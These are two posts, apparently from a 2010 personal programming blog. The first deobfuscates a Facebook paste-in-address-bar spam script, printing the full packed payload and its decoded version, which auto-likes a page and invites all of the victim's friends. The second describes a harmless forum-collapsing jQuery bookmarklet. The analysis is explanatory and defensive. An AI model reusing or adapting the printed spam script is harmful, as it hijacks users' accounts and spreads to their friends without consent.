May 14 2010

Latest Facebook Spam

Tag: Javascript, WebAbhijeet Maharana @ 1:59 am

You have seen those Facebook updates that go “***** and ***** like if he/she tells these lies, 99% chance they are cheating on you.” and the like. If you go to the page and do as the page says, you will end up liking the page (automatically) and your friends will receive a “suggestion”. I fell victim too. The lure of finding out hidden stuff is just too strong :)

After a couple of such updates, it was obvious this is some sort of spam. And it is spreading fast too. I paid attention to the instructions on such pages. CTRL + C, ALT + D, CTRL + V and Enter. So copy & paste something in the address bar and GO. The copied stuff has to be a link … or a script. Sure enough, it is a script. Here is the encoded form:

javascript:(function(){a='app121213611239754_jop';b='app121213611239754_jode';ifc='app121213611239754_ifc';ifo='app121213611239754_ifo';mw='app121213611239754_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})();

Lets beautify it a bit using jsbeautifier:

(function () {
    a = 'app121213611239754_jop';
    b = 'app121213611239754_jode';
    ifc = 'app121213611239754_ifc';
    ifo = 'app121213611239754_ifo';
    mw = 'app121213611239754_mwrapper';
    eval(function (p, a, c, k, e, r) {
        e = function (c) {
            return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
        };
        if (!''.replace(/^/, String)) {
            while (c--) r[e(c)] = k[c] || e(c);
            k = [function (e) {
                return r[e]
            }];
            e = function () {
                return '\\w+'
            };
            c = 1
        };
        while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
        return p
    }('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);', 62, 69, '||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'), 0, {}))
})();

Couple of variable declarations and somewhere in there there is “eval(function(p,a,c,k,e,r)” which means this Javascript is packed using Dean Edwards’ packer. So lets unpack it using this tool.

var _0x95ea = ["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79", "\x73\x74\x79\x6C\x65", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x68\x69\x64\x64\x65\x6E", "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", "\x76\x61\x6C\x75\x65", "\x73\x75\x67\x67\x65\x73\x74", "\x6C\x69\x6B\x65\x6D\x65", "\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73", "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74", "\x63\x6C\x69\x63\x6B", "\x69\x6E\x69\x74\x45\x76\x65\x6E\x74", "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74", "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70", "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
 
d = document;
d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]] = _0x95ea[3];
d[_0x95ea[2]](a)[_0x95ea[4]] = d[_0x95ea[2]](b)[_0x95ea[5]];
 
s = d[_0x95ea[2]](_0x95ea[6]);
m = d[_0x95ea[2]](_0x95ea[7]);
c = d[_0x95ea[9]](_0x95ea[8]);
 
c[_0x95ea[11]](_0x95ea[10], true, true);
s[_0x95ea[12]](c);
 
setTimeout(function () {
	fs[_0x95ea[13]]()
}, 5000);
 
setTimeout(function () {
	SocialGraphManager[_0x95ea[16]](_0x95ea[14], _0x95ea[15])
}, 5000);
 
setTimeout(function () {
	m[_0x95ea[12]](c);
	d[_0x95ea[2]](ifo)[_0x95ea[4]] = d[_0x95ea[2]](ifc)[_0x95ea[5]]
}, 5000);

The array _0×95ea contains hex coded strings. To find out what they mean, we just use an alert

alert(_0x95ea.join(','));

Those are your strings. Go back and replace them in the array.

var _0x95ea = ["visibility", 
	"style", 
	"getElementById", 
	"hidden", 
	"innerHTML", 
	"value", 
	"suggest", 
	"likeme", 
	"MouseEvents", 
	"createEvent", 
	"click", 
	"initEvent", 
	"dispatchEvent", 
	"select_all", 
	"sgm_invite_form", 
	"/ajax/social_graph/invite_dialog.php", 
	"submitDialog"];

Now replace the array references and variable declarations in the code that follows. So

d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]] = _0x95ea[3];

becomes

document['getElementById']('app121213611239754_mwrapper')['style']['visibility'] = 'hidden';

which is same as

document.getElementById('app121213611239754_mwrapper').style.visibility = 'hidden';

The final code looks like this.

// hide the div that shows the CTRL + C etc. animation
document.getElementById('app121213611239754_mwrapper').style.visibility = hidden;
 
// copy code from a hidden text area to a div to create the suggest and likeme nodes
document.getElementById('app121213611239754_jop').innerHTML = document.getElementById('app121213611239754_jode').value;
 
s = document.getElementById('suggest');
m = document.getElementById('likeme');
c = document.createEvent('MouseEvents');
 
c.initEvent('click', true, true);
s.dispatchEvent(c);
 
setTimeout(function () {
	fs.select_all()
}, 5000);
 
setTimeout(function () {
	SocialGraphManager.submitDialog('sgm_invite_form', '/ajax/social_graph/invite_dialog.php')
}, 5000);
 
setTimeout(function () {
	m.dispatchEvent(c);
	document.getElementById(ifo).innerHTML = document.getElementById(ifc).value
}, 5000);

‘app121213611239754_jode’ is a hidden text area which contains following code

<div class=​"suggestdiv">​
<a id=​"suggest" href=​"#" ajaxify=​"/​ajax/​social_graph/​invite_dialog.php?class=FanManager&​node_id=115065838533943" class=​" profile_action actionspro_a" rel=​"dialog-post">​Suggest to Friends​</a>​
</div>​
<div class=​"likemediv">​
<a ajaxify=​"/​ajax/​pages/​fan_status.php?fbpage_id=115065838533943&​add=1&​reload=0&​preserve_tab=1&​use_primer=1" id=​"likeme" rel=​"async-post" class=​"UIButton UIButton_Gray UIButton_CustomIcon UIActionButton" href=​"#">​
<span class=​"UIButton_Text">​
<i class=​"UIButton_Icon img spritemap_icons sx_icons_like">​</i>​
"Like"
</span>​
</a>​
</div>​

This code is copied to the outer DIV which creates the “suggest” and “likeme” links. Using the timeouts, suggest link is clicked, all friends are selected and invitations are sent. Then you end up liking the page.

Neat!


May 05 2010

Forum thread collapser using jQuery

Tag: Javascript, Programming, Web, jQueryAbhijeet Maharana @ 5:43 pm

Sometimes when viewing a large forum thread, it would be great if you could highlight all posts by a particular user in that thread. While there might be server side plugins for the various forum software bundles available, the admins may not like the idea of installing them unless requested by a large number of users. I went ahead and wrote a script that does this by manipulating the DOM on the client. Again, such functionality is best implemented as a plugin for the forum software itself. But this is a handy script nevertheless.

It is implemented as a bookmarklet which you can drag to your bookmarks toolbar. When browsing a particular thread, select the username whose posts you want to browse and click the bookmark. It will collapse posts by other users so that posts by the user you are interested in will stand out. Other posts can be expanded/collapsed if needed. If you do not select any username, the bookmarklet will prompt for it. In your user control panel for that forum, you can change the visible posts to the maximum available and then use this to quickly go through the posts that contains answers.

There are many forum hosting software available such as MyBB, vBulletin etc. and each has its own layout of rendering posts. Further, within each, there are themes that modify the post layout. Some display the post metadata to the left while some display it above the post. Browsing through various MyBB based forums, I found that there are mainly 2 types of themes that render post metadata to the left. Both look same. Difference is in the DOM structure. First type uses a big table and individual rows for each post. Second type uses divs and nested tables for each row. A generic script to handle all forum types and variants will require some more work than what I am posting here. This script works with a subset: MyBB based forums with themes of first type.

Here is the bookmarklet: Thread collapser. There will be a slight delay when you run this first time. I adapted the jQuerify bookmarklet by Karl Swedberg to inject jQuery into the DOM and then execute our function when jQuery has been loaded successfully. It loads jQuery from Google CDN and once that is cached locally, you won’t notice the delay. Here is the complete script.

Here is a short description of how it works. I am only posting the body for startScript() which is where all our code resides. We start off by getting hold of the user selection on the page – which is supposed to be the post author. If there is no selection, it prompts for the author.

1
2
3
4
5
6
7
8
var author = getSelectedText();
if(author == '')
        author = prompt('Screen name?');
 
if(author == null || author == '')
        return false;
 
author = author.trim().toLowerCase();

Then we get hold of all the posts on the page and check if there is any post by that particular author. The selectors are fairly straightforward if you revisit the DOM structure of the template type that we are handling. Within each post TR, the first TD holds the post metadata. Post author is within an A element which points to the profile page (member.php with an UID). We iterate through all the post authors and mark a true for each one that matches what we are looking for. After the loop, we check how many true values we have.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var postRows = jQuery('div#container div#content table:first')  // get post table
        .children() // get tbody
        .children() // get trs
        .not('tr:has(td.trow_sep)') // remove post separators
        .not(':odd')    // remove post footer that has links
        .slice(1,-1);   // remove table header and footer
 
var numPostsByAuthor = jQuery('td:first a[href^=member.php]', postRows).map(
        function(){
                if(jQuery(this).text().toLowerCase() == author)
                    return true;
                else
                    return null;
        }
).size();
 
if(numPostsByAuthor == 0)
{
        alert('There are no posts by "' + author + '" on this page.');
        return false;
}

If there are posts by our author, we iterate again – collapsing posts by other authors and attaching click handlers to let the user expand them if needed (like when a post refers to a post above but hasn’t quoted it).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
postRows.each(function(){
        var postAuthor = jQuery('td:first a[href^=member.php]',this).text().toLowerCase();
        if(author != postAuthor)
        {
            var currRow = jQuery(this);
            var nextRow = currRow.next();
 
            currRow.hide();
            var nextClass = nextRow.find('td:first').attr('class');
 
            var nextRowCol1 = jQuery('<td class="' + nextClass + ' smalltext">' + postAuthor + '</td>');
            var nextRowCol2 = jQuery('<td class="' + nextClass + '">[+]</td>');
            nextRow.html('');
            nextRow.append(nextRowCol1, nextRowCol2);
            nextRow.css('cursor','pointer');
 
            nextRow.toggle(function(){
                currRow.show();
                nextRow.css('font-weight','bold');
                nextRowCol2.html('[-]');
            }, function(){
                currRow.hide();
                nextRowCol2.html('[+]');
            });
        }
});

When a post is collapsed, its footer is updated with the post author and a [+] mark next to it. When this post is expanded, the footer is made bold to indicate this has been seen and the [+] turns into a [-]. Here is the output when I tested it on http://www.gfx-depot.com/forum/throw-something-at-the-person-above-you-t-1003.html.